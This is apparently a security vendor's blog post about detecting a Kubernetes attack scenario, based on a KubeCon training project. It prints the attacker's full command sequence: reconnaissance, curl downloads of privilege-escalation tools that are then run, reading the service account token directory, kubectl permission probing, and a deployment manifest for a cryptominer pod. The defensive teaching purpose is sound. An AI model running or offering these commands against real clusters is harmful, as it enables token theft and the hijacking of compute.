Blog > Container Security & Orchestration > Investigating Kubernetes Attack Scenarios in Threat Stack (part 1) Investigating Kubernetes Attack Scenarios in Threat Stack (part 1) Kubernetes operators are getting better at protecting the clusters from external attacks. This is a success story for many companies that adopted Kubernetes over the past couple of years. As many know, the early days of Kubernetes adoption was riddled with some awfully soft “defaults” in security configurations. Defaults are in quotes since there are really no Kubernetes defaults since there are so many ways to install Kubernetes and depending on the method of cluster instantiation, your “defaults” will vary. That said, as defaults have improved for external settings, we can turn our focus to the internal security of a cluster. Here, we also see improvements, but this is now the softer center to the crunchy external shell of the cluster. This blog post will speak to what attackers are doing once inside the cluster and how to detect and respond to these attacks. KubeCon Presentation and Attack Scenarios I recently watched an awesome video presentation by Brad Geesman, Jimmy Mesta, Tabitha Sable, and Peter Benjamin from this past KubeCon called “Attacking and Defending Kubernetes Clusters”. The group’s presentation underscored some likely scenarios of cluster compromise. The group also created a website with sample code for anyone to play along at home. I am going to briefly review some of the items in this presentation and show how cluster operators can detect these attacks. Scenario 1: Opportunistic Bitcoin Mining The first attack scenario is based on an opportunistic attacker scanning and then finding a web shell. This could be an example of a system that was compromised and then, once the web shell is accessed, the attacker starts off by issuing common information discovery commands. Commands like id, uname -a, ps -ef, df -h, and netstat -nl can give an attacker some context as to what type of system and environment they are in. This is true for many attacks: often, attackers need context before moving around the environment. The signals needed to tell this story are split across the stack, from containers, nodes, pods, and clusters. When deployed into a Kubernetes cluster, the Threat Stack Agent does a great job of observing activity within running containers, and also capturing Kubernetes orchestration events. Here, the Threat Stack Agent audited all the commands issued on the container and sent them to the Threat Stack platform: After the attacker’s initial recon, they realize they are in a container. They then use two specific tools to further explore the system: Unix-privesc-check: A utility to look for common privilege escalation techniques Amicontained: A utility to verify if you are in a container The commands below are a common attack pattern: Move to /tmp Download a binary via curl chmod the binary (make it executable) Execute the binary And here are the corresponding example commands: cd /tmp; curl https://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz | tar -xzvf -; unix-privesc-check-1.4/unix-privesc-check standard cd /tmp; curl -L -o amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.7/amicontained-linux-amd64; chmod 555 amicontained; ./amicontained The agent generates these events, providing visibility and alerting for these behaviors. These commands confirm the attacker is in a container and it is managed by Kubernetes. The next step is to explore the Kubernetes environment. Here’s an example command: env | grep -i kube curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version ls /var/run/secrets/kubernetes.io/serviceaccount Above, the attacker starts by looking at environment variables specific to anything with the string “kube” in it. That produces the Kubernetes-related environment variables (and their values!) below. With this knowledge, the attacker then uses the variables to craft a curl request for the Kubernetes API endpoint version. The attacker now knows they’re dealing with Kubernetes version 1.14.10, and that it’s most likely a cluster on the Google Kubernetes Engine (GKE) platform. Depending on the version, this lets the attacker narrow down a shortlist of CVEs that might be applicable. They then look into the default secrets directory where the service account token is stored. This activity manifests itself in Threat Stack as Docker events: The attacker can now focus on exploiting the trust the API server has for the service account token. The attacker downloads a kubectl binary and uses the service token to explore the Kubernetes environment more. (Again, all this activity happens on the container via a webshell.) The commands, up until this point, created no Kubernetes audit logs since they were outside the purview of the orchestration layer. That is why knowing behaviors and service execution patterns on containers is vital to Kubernetes security. Once the attacker downloads the kubectl binary and starts issuing commands to the Kubernetes API server, they start creating logs/events visible to both the API server and the Threat Stack Agent. The detailed signal below shows the series of system calls we observe when a curl or wget command is used to download a file. The execution of curl: The associated DNS request: The associated network “connect” to the resolved destination IP: Once the “kubectl” binary is downloaded, the attacker changes permission on the file to make it executable: The events further below show execution of the kubectl binary with associated arguments. These commands will be seen by both Threat Stack and the Kubernetes audit and API logs. With these commands, the attacker is trying to discover what they are allowed to do within the cluster with the default service token. This could be considered more recon behavior, arming the attacker with more information to help them reach their goals. The commands kubectl get all and kubectl get all -A attempt to get all resources in all namespaces. The kubectl auth can-i commands are literally asking the Kubernetes API server if the attacker’s current user has permission to perform the actions in the corresponding arguments. From here, it’s simply a matter of running allowed commands. While Kubernetes provides the auth can-i subcommand as an administrative tool for testing RBAC controls, it can also serve as an attacker recon tool if not closely monitored by a runtime security tool like Threat Stack. As you might have guessed, the attacker gets great news from the API server when executing the ./kubectl auth can-i create pod command and the API response was “YES”. With this information, the attacker deploys their bitcoin miner of choice via this command: cd /tmp; cat > bitcoinero.yml <<EOF apiVersion: extensions/v1beta1 kind: Deployment metadata: labels: run: bitcoinero name: bitcoinero namespace: prd spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: run: bitcoinero strategy: rollingUpdate: maxSurge: 25% maxUnavailable: 25% type: RollingUpdate template: metadata: labels: run: bitcoinero spec: containers: - image: securekubernetes/bitcoinero:latest name: bitcoinero command: ["./moneymoneymoney"] args: - -c - "1" - -l - "10" resources: requests: cpu: 100m memory: 128Mi limits: cpu: 200m memory: 128Mi EOF ./kubectl apply -f bitcoinero.yml sleep 10 ./kubectl get pods Here’s the corresponding container signal in Threat Stack: The attacker knows they were successful when they see the “bitcoinero” pod running in the cluster. We also see the Kubernetes signal that the attacker was successful. With this scenario we mainly focus on what the attacker did within the cluster and the resulting Threat Stack events, both from the container and Kubernetes orchestration layer. Click here for Part 2 of the series where I review a more sophisticated attack and show how Threat Stack observes attacker activity every step of the way. We will also cover how to make these events actionable by alerting on certain signal. Example commands and YAML were taken from the securekubernetes project, scenario 1. Thank you to @tabbysable, @petermbenjamin, @jimmesta, @BradGeesaman for their excellent tutorial and presentation. Tags:CryptominingDockerIncident InvestigationKubernetes Request a Consultation You Might Also Like... How ActiveCampaign Creates Compliance Framework Templates with Threat Stack How ThreatML Reduces the Burden on Teams Making Supervised Learning Work: Threat Stack’s Unique Data Labeling Experience For Security Categories Application Security Cloud Security Compliance Container Security & Orchestration DevSecOps General Professional Development SOC Threat Intel Threat Stack Uncategorized